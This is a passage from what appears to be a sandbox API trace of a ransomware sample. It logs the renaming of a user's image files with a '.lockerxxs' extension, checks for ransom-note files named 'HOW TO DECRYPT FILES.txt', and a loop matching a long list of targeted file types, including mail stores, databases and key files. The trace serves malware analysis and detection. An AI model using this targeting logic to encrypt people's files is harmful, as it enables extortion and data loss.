HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\a8rgspxw5znagk\\mx4r.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\a8rgspxw5znagk\\mx4r.png.lockerxxs")) returned 1 [0090.999] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80f93020, ftCreationTime.dwHighDateTime=0x1d5d916, ftLastAccessTime.dwLowDateTime=0x1b54d120, ftLastAccessTime.dwHighDateTime=0x1d5dee8, ftLastWriteTime.dwLowDateTime=0x1b54d120, ftLastWriteTime.dwHighDateTime=0x1d5dee8, nFileSizeHigh=0x0, nFileSizeLow=0x1504c, dwReserved0=0x1b000318, dwReserved1=0x4e00c4, cFileName="N5FshQ7.gif", cAlternateFileName="")) returned 1 [0090.999] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0090.999] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="N5FshQ7.gif") returned -1 [0090.999] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="N5FshQ7.gif") returned -1 [0090.999] lstrcmpiA (lpString1="", lpString2="N5FshQ7.gif") returned -1 [0090.999] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png") returned="mx4r.png" [0090.999] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" [0090.999] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\") returned="" [0091.000] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt" [0091.000] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\a8rgspxw5znagk\\how to decrypt files.txt")) returned 0x20 [0091.000] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\", lpString2="N5FshQ7.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif" [0091.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.ems") returned 0 [0091.000] lstrlenA (lpString="*.ems") returned 5 [0091.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.db") returned 0 [0091.000] lstrlenA (lpString="*.db") returned 4 [0091.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.dbf") returned 0 [0091.000] lstrlenA (lpString="*.dbf") returned 5 [0091.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.myox") returned 0 [0091.000] lstrlenA (lpString="*.myox") returned 6 [0091.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.myo") returned 0 [0091.000] lstrlenA (lpString="*.myo") returned 5 [0091.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.qbw") returned 0 [0091.000] lstrlenA (lpString="*.qbw") returned 5 [0091.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.qbb") returned 0 [0091.000] lstrlenA (lpString="*.qbb") returned 5 [0091.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.qbm") returned 0 [0091.001] lstrlenA (lpString="*.qbm") returned 5 [0091.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.qbo") returned 0 [0091.001] lstrlenA (lpString="*.qbo") returned 5 [0091.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.qbx") returned 0 [0091.001] lstrlenA (lpString="*.qbx") returned 5 [0091.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.qba") returned 0 [0091.001] lstrlenA (lpString="*.qba") returned 5 [0091.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.qby") returned 0 [0091.001] lstrlenA (lpString="*.qby") returned 5 [0091.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.qbj") returned 0 [0091.001] lstrlenA (lpString="*.qbj") returned 5 [0091.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.ofx") returned 0 [0091.001] lstrlenA (lpString="*.ofx") returned 5 [0091.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.qif") returned 0 [0091.001] lstrlenA (lpString="*.qif") returned 5 [0091.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.mye") returned 0 [0091.001] lstrlenA (lpString="*.mye") returned 5 [0091.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.mbox") returned 0 [0091.001] lstrlenA (lpString="*.mbox") returned 6 [0091.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.eml") returned 0 [0091.002] lstrlenA (lpString="*.eml") returned 5 [0091.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.pst") returned 0 [0091.002] lstrlenA (lpString="*.pst") returned 5 [0091.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.ost") returned 0 [0091.002] lstrlenA (lpString="*.ost") returned 5 [0091.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.idx") returned 0 [0091.002] lstrlenA (lpString="*.idx") returned 5 [0091.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.dbx") returned 0 [0091.002] lstrlenA (lpString="*.dbx") returned 5 [0091.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.sql") returned 0 [0091.002] lstrlenA (lpString="*.sql") returned 5 [0091.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.mdb") returned 0 [0091.002] lstrlenA (lpString="*.mdb") returned 5 [0091.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.fdb") returned 0 [0091.002] lstrlenA (lpString="*.fdb") returned 5 [0091.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.wab") returned 0 [0091.002] lstrlenA (lpString="*.wab") returned 5 [0091.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.dat") returned 0 [0091.002] lstrlenA (lpString="*.dat") returned 5 [0091.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.txt") returned 0 [0091.002] lstrlenA (lpString="*.txt") returned 5 [0091.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.jpeg") returned 0 [0091.003] lstrlenA (lpString="*.jpeg") returned 6 [0091.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.jpg") returned 0 [0091.003] lstrlenA (lpString="*.jpg") returned 5 [0091.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.png") returned 0 [0091.003] lstrlenA (lpString="*.png") returned 5 [0091.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.php") returned 0 [0091.003] lstrlenA (lpString="*.php") returned 5 [0091.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.cs") returned 0 [0091.003] lstrlenA (lpString="*.cs") returned 4 [0091.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.cpp") returned 0 [0091.003] lstrlenA (lpString="*.cpp") returned 5 [0091.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.rar") returned 0 [0091.003] lstrlenA (lpString="*.rar") returned 5 [0091.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.zip") returned 0 [0091.003] lstrlenA (lpString="*.zip") returned 5 [0091.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.html") returned 0 [0091.003] lstrlenA (lpString="*.html") returned 6 [0091.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.htm") returned 0 [0091.003] lstrlenA (lpString="*.htm") returned 5 [0091.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.xlsx") returned 0 [0091.003] lstrlenA (lpString="*.xlsx") returned 6 [0091.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.xls") returned 0 [0091.004] lstrlenA (lpString="*.xls") returned 5 [0091.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.mp4") returned 0 [0091.004] lstrlenA (lpString="*.mp4") returned 5 [0091.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.ppt") returned 0 [0091.004] lstrlenA (lpString="*.ppt") returned 5 [0091.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.pptx") returned 0 [0091.004] lstrlenA (lpString="*.pptx") returned 6 [0091.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.doc") returned 0 [0091.004] lstrlenA (lpString="*.doc") returned 5 [0091.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.dot") returned 0 [0091.004] lstrlenA (lpString="*.dot") returned 5 [0091.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.docx") returned 0 [0091.004] lstrlenA (lpString="*.docx") returned 6 [0091.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.7z") returned 0 [0091.004] lstrlenA (lpString="*.7z") returned 4 [0091.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.tar") returned 0 [0091.004] lstrlenA (lpString="*.tar") returned 5 [0091.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.bz2") returned 0 [0091.005] lstrlenA (lpString="*.bz2") returned 5 [0091.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.gz") returned 0 [0091.005] lstrlenA (lpString="*.gz") returned 4 [0091.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.mkv") returned 0 [0091.005] lstrlenA (lpString="*.mkv") returned 5 [0091.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.eml") returned 0 [0091.005] lstrlenA (lpString="*.eml") returned 5 [0091.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.msg") returned 0 [0091.005] lstrlenA (lpString="*.msg") returned 5 [0091.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.edb") returned 0 [0091.005] lstrlenA (lpString="*.edb") returned 5 [0091.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.accdb") returned 0 [0091.005] lstrlenA (lpString="*.accdb") returned 7 [0091.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.odb") returned 0 [0091.005] lstrlenA (lpString="*.odb") returned 5 [0091.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.java") returned 0 [0091.005] lstrlenA (lpString="*.java") returned 6 [0091.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.asm") returned 0 [0091.005] lstrlenA (lpString="*.asm") returned 5 [0091.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.pfx") returned 0 [0091.005] lstrlenA (lpString="*.pfx") returned 5 [0091.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.pem") returned 0 [0091.006] lstrlenA (lpString="*.pem") returned 5 [0091.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.p12") returned 0 [0091.006] lstrlenA (lpString="*.p12") returned 5 [0091.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.gpg") returned 0 [0091.006] lstrlenA (lpString="*.gpg") returned 5 [0091.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.vsd") returned 0 [0091.006] lstrlenA (lpString="*.vsd") returned 5 [0091.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.odg") returned 0 [0091.006] lstrlenA (lpString="*.odg") returned 5 [0091.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.raw") returned 0 [0091.006] lstrlenA (lpString="*.raw") returned 5 [0091.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.nef") returned 0 [0091.006] lstrlenA (lpString="*.nef") returned 5 [0091.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.svg") returned 0 [0091.006] lstrlenA (lpString="*.svg") returned 5 [0091.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.psd") returned 0 [0091.006] lstrlenA (lpString="*.psd") returned 5 [0091.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.vmx") returned 0 [0091.006] lstrlenA (lpString="*.vmx") returned 5 [0091.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.vmdk") returned 0 [0091.007] lstrlenA (lpString="*.vmdk") returned 6 [0091.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.vdi") returned 0 [0091.007] lstrlenA (lpString="*.vdi") returned 5 